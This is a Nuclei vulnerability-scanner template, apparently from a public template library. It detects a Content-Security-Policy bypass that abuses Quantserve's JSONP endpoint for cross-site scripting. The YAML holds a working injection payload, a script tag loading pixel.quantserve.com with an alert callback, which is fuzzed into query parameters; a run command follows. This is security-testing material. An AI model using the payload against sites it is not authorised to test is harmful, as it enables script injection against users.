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Content-Security-Policy Bypass - Quantserve Pixel

ID: quantserve-pixel-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,quantserve-pixel

id: quantserve-pixel-csp-bypass
info:
name: Content-Security-Policy Bypass - Quantserve Pixel
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,quantserve-pixel
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "quantserve.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: quantserve_pixel_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://pixel.quantserve.com/api/segments.json?callback=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "quantserve_pixel_csp_xss == true"
# digest: 490a0046304402206538e941bcf2428a7f14e710a08b04851f71cf535680840c09851112472ed68a02201f2f6e4cf1bb258d565b04f9203406d378585b3abcc341e5879b2764be2249e7:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/quantserve-pixel-csp-bypass.yaml"

View on Github